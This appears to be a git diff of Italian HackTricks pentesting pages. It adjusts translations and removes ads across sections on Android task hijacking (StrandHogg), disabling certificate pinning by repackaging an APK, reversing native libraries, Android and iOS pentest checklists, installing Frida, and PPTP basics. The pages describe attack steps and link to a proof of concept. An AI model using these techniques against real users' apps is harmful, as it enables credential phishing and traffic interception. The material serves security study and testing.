### Panoramica dell'affinità del task e delle modalità di avvio
|
||||
|
||||
Nelle applicazioni Android, l'**affinità del task** specifica il task preferito di un'attività, allineandosi tipicamente con il nome del pacchetto dell'app. Questa configurazione è fondamentale per creare un'app di prova di concetto (PoC) per dimostrare l'attacco.
|
||||
Nelle applicazioni Android, l'**affinità del task** specifica il task preferito di un'attività, allineandosi tipicamente con il nome del pacchetto dell'app. Questa configurazione è fondamentale per creare un'app di prova (PoC) per dimostrare l'attacco.
|
||||
|
||||
### Modalità di Lancio
|
||||
### Modalità di avvio
|
||||
|
||||
L'attributo `launchMode` dirige la gestione delle istanze di attività all'interno dei task. La modalità **singleTask** è fondamentale per questo attacco, dettando tre scenari basati sulle istanze di attività esistenti e sulle corrispondenze di affinità del task. L'exploit si basa sulla capacità dell'app dell'attaccante di imitare l'affinità del task dell'app target, ingannando il sistema Android nel lanciare l'app dell'attaccante invece dell'obiettivo previsto.
|
||||
L'attributo `launchMode` dirige la gestione delle istanze delle attività all'interno dei task. La modalità **singleTask** è fondamentale per questo attacco, dettando tre scenari basati sulle istanze di attività esistenti e sulle corrispondenze di affinità del task. Lo sfruttamento si basa sulla capacità dell'app dell'attaccante di imitare l'affinità del task dell'app target, ingannando il sistema Android nel lanciare l'app dell'attaccante invece dell'obiettivo previsto.
|
||||
|
||||
### Passaggi Dettagliati dell'Attacco
|
||||
### Passaggi dettagliati dell'attacco
|
||||
|
||||
1. **Installazione dell'App Maligna**: La vittima installa l'app dell'attaccante sul proprio dispositivo.
|
||||
2. **Attivazione Iniziale**: La vittima apre per prima l'app maligna, preparando il dispositivo per l'attacco.
|
||||
3. **Tentativo di Lancio dell'App Target**: La vittima tenta di aprire l'app target.
|
||||
4. **Esecuzione dell'Hijack**: A causa della corrispondenza dell'affinità del task, l'app maligna viene lanciata al posto dell'app target.
|
||||
5. **Inganno**: L'app maligna presenta una schermata di accesso falsa simile all'app target, ingannando l'utente a inserire informazioni sensibili.
|
||||
1. **Installazione dell'app malevola**: La vittima installa l'app dell'attaccante sul proprio dispositivo.
|
||||
2. **Attivazione iniziale**: La vittima apre per prima l'app malevola, preparando il dispositivo per l'attacco.
|
||||
3. **Tentativo di avvio dell'app target**: La vittima tenta di aprire l'app target.
|
||||
4. **Esecuzione dell'hijack**: A causa dell'affinità del task corrispondente, l'app malevola viene lanciata al posto dell'app target.
|
||||
5. **Inganno**: L'app malevola presenta una schermata di accesso falsa simile all'app target, ingannando l'utente a inserire informazioni sensibili.
|
||||
|
||||
Per un'implementazione pratica di questo attacco, fai riferimento al repository Task Hijacking Strandhogg su GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
Per un'implementazione pratica di questo attacco, fare riferimento al repository Task Hijacking Strandhogg su GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
|
||||
|
||||
### Misure di Prevenzione
|
||||
### Misure di prevenzione
|
||||
|
||||
Per prevenire tali attacchi, gli sviluppatori possono impostare `taskAffinity` su una stringa vuota e optare per la modalità di lancio `singleInstance`, garantendo l'isolamento della loro app da altre. Personalizzare la funzione `onBackPressed()` offre ulteriore protezione contro l'hijacking del task.
|
||||
Per prevenire tali attacchi, gli sviluppatori possono impostare `taskAffinity` su una stringa vuota e optare per la modalità di avvio `singleInstance`, garantendo l'isolamento della loro app da altre. Personalizzare la funzione `onBackPressed()` offre ulteriore protezione contro l'hijacking del task.
|
||||
|
||||
## **Riferimenti**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -13,19 +13,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Alcune applicazioni non gradiscono i certificati scaricati dagli utenti, quindi per ispezionare il traffico web per alcune app dobbiamo effettivamente decompilare l'applicazione, aggiungere alcune cose e ricompilarla.
|
||||
|
||||
# Automatico
|
||||
|
||||
Lo strumento [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **effettuerà automaticamente** le modifiche necessarie all'applicazione per iniziare a catturare le richieste e disabiliterà anche il pinning del certificato (se presente).
|
||||
Lo strumento [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) **effettuerà automaticamente** le modifiche necessarie all'applicazione per iniziare a catturare le richieste e disabiliterà anche il certificate pinning (se presente).
|
||||
|
||||
# Manuale
|
||||
|
||||
|
@ -45,7 +37,7 @@ Dopo aver aggiunto:
|
|||
|
||||
![](../../.gitbook/assets/img11.png)
|
||||
|
||||
Ora andiamo nella cartella **res/xml** e creiamo/modifichiamo un file chiamato network\_security\_config.xml con i seguenti contenuti:
|
||||
Ora andiamo nella cartella **res/xml** e creiamo/modifichiamo un file chiamato network\_security\_config.xml con il seguente contenuto:
|
||||
```markup
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
|
@ -74,7 +66,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che ruba informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**Per ulteriori informazioni controlla:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
|
@ -36,14 +23,14 @@ Le app Android possono utilizzare librerie native, tipicamente scritte in C o C+
|
|||
### Punti Chiave:
|
||||
|
||||
* **Librerie Native nelle App Android:**
|
||||
* Utilizzate per compiti intensivi in termini di prestazioni.
|
||||
* Utilizzate per compiti ad alta intensità di prestazioni.
|
||||
* Scritte in C o C++, rendendo l'ingegneria inversa una sfida.
|
||||
* Trovate in formato `.so` (oggetto condiviso), simile ai binari Linux.
|
||||
* I creatori di malware preferiscono il codice nativo per rendere l'analisi più difficile.
|
||||
* **Java Native Interface (JNI) & Android NDK:**
|
||||
* JNI consente di implementare metodi Java in codice nativo.
|
||||
* JNI consente ai metodi Java di essere implementati in codice nativo.
|
||||
* NDK è un insieme di strumenti specifici per Android per scrivere codice nativo.
|
||||
* JNI e NDK collegano il codice Java (o Kotlin) con librerie native.
|
||||
* JNI e NDK collegano il codice Java (o Kotlin) con le librerie native.
|
||||
* **Caricamento ed Esecuzione delle Librerie:**
|
||||
* Le librerie vengono caricate in memoria utilizzando `System.loadLibrary` o `System.load`.
|
||||
* JNI\_OnLoad viene eseguito al caricamento della libreria.
|
||||
|
@ -68,17 +55,6 @@ Le app Android possono utilizzare librerie native, tipicamente scritte in C o C+
|
|||
* **Debugging delle Librerie Native:**
|
||||
* [Debug delle Librerie Native Android Utilizzando JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che ruba informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Impara le basi di Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Basi](android-app-pentesting/#fundamentals-review)
|
||||
|
@ -77,13 +69,6 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* [ ] [Leggi qui](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\
|
||||
Accedi oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -23,19 +23,11 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Preparazione
|
||||
|
||||
* [ ] Leggi [**iOS Basics**](ios-pentesting/ios-basics.md)
|
||||
* [ ] Prepara il tuo ambiente leggendo [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
|
||||
* [ ] Leggi tutte le sezioni di [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) per apprendere le azioni comuni per pentestare un'applicazione iOS
|
||||
* [ ] Leggi tutte le sezioni di [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) per apprendere azioni comuni per pentestare un'applicazione iOS
|
||||
|
||||
### Data Storage
|
||||
|
||||
|
@ -48,8 +40,8 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] [**I cookie binari**](ios-pentesting/#cookies) possono memorizzare informazioni sensibili.
|
||||
* [ ] [**I dati della cache**](ios-pentesting/#cache) possono memorizzare informazioni sensibili.
|
||||
* [ ] [**Le istantanee automatiche**](ios-pentesting/#snapshots) possono salvare informazioni visive sensibili.
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) è solitamente utilizzato per memorizzare informazioni sensibili che possono essere lasciate quando si rivende il telefono.
|
||||
* [ ] In sintesi, **controlla solo le informazioni sensibili salvate dall'applicazione nel filesystem.**
|
||||
* [ ] [**Keychain**](ios-pentesting/#keychain) è solitamente utilizzato per memorizzare informazioni sensibili che possono rimanere quando si rivende il telefono.
|
||||
* [ ] In sintesi, **controlla solo le informazioni sensibili salvate dall'applicazione nel filesystem**.
|
||||
|
||||
### Tastiere
|
||||
|
||||
|
@ -63,7 +55,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
### Backup
|
||||
|
||||
* [ ] [**I backup**](ios-pentesting/#backups) possono essere utilizzati per **accedere alle informazioni sensibili** salvate nel filesystem (controlla il punto iniziale di questo checklist).
|
||||
* [ ] Inoltre, [**i backup**](ios-pentesting/#backups) possono essere utilizzati per **modificare alcune configurazioni dell'applicazione**, quindi **ripristinare** il backup sul telefono, e poiché la **configurazione modificata** è **caricata**, alcune (funzionalità di sicurezza) potrebbero essere **bypassate**.
|
||||
* [ ] Inoltre, [**i backup**](ios-pentesting/#backups) possono essere utilizzati per **modificare alcune configurazioni dell'applicazione**, quindi **ripristinare** il backup sul telefono, e poiché la **configurazione modificata** è **caricata**, alcune (funzionalità di sicurezza) possono essere **bypassate**.
|
||||
|
||||
### **Memoria delle Applicazioni**
|
||||
|
||||
|
@ -77,33 +69,33 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### **Autenticazione Locale**
|
||||
|
||||
* [ ] Se viene utilizzata un'**autenticazione locale** nell'applicazione, dovresti controllare come funziona l'autenticazione.
|
||||
* [ ] Se un'**autenticazione locale** viene utilizzata nell'applicazione, dovresti controllare come funziona l'autenticazione.
|
||||
* [ ] Se utilizza il [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework), potrebbe essere facilmente bypassato.
|
||||
* [ ] Se utilizza una [**funzione che può essere bypassata dinamicamente**](ios-pentesting/#local-authentication-using-keychain), potresti creare uno script frida personalizzato.
|
||||
|
||||
### Esposizione di Funzionalità Sensibili Tramite IPC
|
||||
|
||||
* [**Gestori URI personalizzati / Deeplinks / Schemi personalizzati**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes).
|
||||
* [ ] Controlla se l'applicazione **sta registrando qualche protocollo/schema**.
|
||||
* [ ] Controlla se l'applicazione **si sta registrando per utilizzare** qualche protocollo/schema.
|
||||
* [ ] Controlla se l'applicazione **registra qualche protocollo/schema**.
|
||||
* [ ] Controlla se l'applicazione **si registra per utilizzare** qualche protocollo/schema.
|
||||
* [ ] Controlla se l'applicazione **si aspetta di ricevere qualche tipo di informazione sensibile** dallo schema personalizzato che può essere **intercettato** da un'altra applicazione che registra lo stesso schema.
|
||||
* [ ] Controlla se l'applicazione **non sta controllando e sanitizzando** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**.
|
||||
* [ ] Controlla se l'applicazione **non controlla e sanitizza** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**.
|
||||
* [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato.
|
||||
* [**Link Universali**](ios-pentesting/#universal-links).
|
||||
* [ ] Controlla se l'applicazione **sta registrando qualche protocollo/schema universale**.
|
||||
* [ ] Controlla se l'applicazione **registra qualche protocollo/schema universale**.
|
||||
* [ ] Controlla il file `apple-app-site-association`.
|
||||
* [ ] Controlla se l'applicazione **non sta controllando e sanitizzando** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**.
|
||||
* [ ] Controlla se l'applicazione **non controlla e sanitizza** l'input degli utenti tramite lo schema personalizzato e se qualche **vulnerabilità può essere sfruttata**.
|
||||
* [ ] Controlla se l'applicazione **espone qualche azione sensibile** che può essere chiamata da qualsiasi luogo tramite lo schema personalizzato.
|
||||
* [**Condivisione UIActivity**](ios-pentesting/ios-uiactivity-sharing.md).
|
||||
* [ ] Controlla se l'applicazione può ricevere UIActivities e se è possibile sfruttare qualche vulnerabilità con attività appositamente create.
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md).
|
||||
* [ ] Controlla se l'applicazione **copia qualcosa negli appunti generali**.
|
||||
* [ ] Controlla se l'applicazione **usa i dati dagli appunti generali per qualcosa**.
|
||||
* [ ] Monitora gli appunti per vedere se qualche **dati sensibili viene copiato**.
|
||||
* [ ] Controlla se l'applicazione **utilizza i dati dagli appunti generali per qualcosa**.
|
||||
* [ ] Monitora gli appunti per vedere se qualche **dato sensibile viene copiato**.
|
||||
* [**Estensioni App**](ios-pentesting/ios-app-extensions.md).
|
||||
* [ ] L'applicazione **usa qualche estensione**?
|
||||
* [ ] L'applicazione **utilizza qualche estensione**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md).
|
||||
* [ ] Controlla quale tipo di webviews vengono utilizzati.
|
||||
* [ ] Controlla che tipo di webviews vengono utilizzati.
|
||||
* [ ] Controlla lo stato di **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**.
|
||||
* [ ] Controlla se il webview può **accedere a file locali** con il protocollo **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`).
|
||||
* [ ] Controlla se Javascript può accedere a **metodi** **Native** (`JSContext`, `postMessage`).
|
||||
|
@ -119,12 +111,6 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
* [ ] Controlla i meccanismi di [**patching/aggiornamento automatico**](ios-pentesting/#hot-patching-enforced-updateing).
|
||||
* [ ] Controlla la presenza di [**librerie di terze parti malevole**](ios-pentesting/#third-parties).
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -143,7 +129,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli strumenti della comunità **più avanzati** al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire e **automatizzare flussi di lavoro** facilmente, alimentati dagli **strumenti comunitari più avanzati** al mondo.\
|
||||
Accedi oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Installing Frida
|
||||
|
||||
**Passaggi per installare Frida su un dispositivo Jailbroken:**
|
||||
|
@ -44,9 +30,9 @@ Se stai usando **Corellium** dovrai scaricare il rilascio di Frida da [https://g
|
|||
Dopo l'installazione, puoi usare nel tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\
|
||||
Esegui anche **`frida-ps -Uia`** per controllare i processi in esecuzione del telefono.
|
||||
|
||||
## Frida without Jailbroken device & without patching the app
|
||||
## Frida senza dispositivo Jailbroken e senza patchare l'app
|
||||
|
||||
Controlla questo post del blog su come utilizzare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
Controlla questo post del blog su come usare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Frida Client Installation
|
||||
|
||||
|
@ -370,21 +356,10 @@ iOS memorizza solo 25 crash della stessa app, quindi devi pulirli o iOS smetter
|
|||
[frida-tutorial](../android-app-pentesting/frida-tutorial/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
* [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per controllare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -396,7 +371,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark-web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware rubatori**.
|
||||
|
||||
Il loro obiettivo principale di WhiteIntel è combattere il furto di account e gli attacchi ransomware derivanti da malware che rubano informazioni.
|
||||
|
||||
Puoi controllare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Point-to-Point Tunneling Protocol (PPTP)** è un metodo ampiamente utilizzato per l'**accesso remoto** ai dispositivi mobili. Utilizza il **porta TCP 1723** per lo scambio di chiavi, mentre il **protocollo IP 47** (Generic Routing Encapsulation, o **GRE**), viene utilizzato per crittografare i dati trasmessi tra i peer. Questa configurazione è cruciale per stabilire un canale di comunicazione sicuro su Internet, garantendo che i dati scambiati rimangano riservati e protetti da accessi non autorizzati.
|
||||
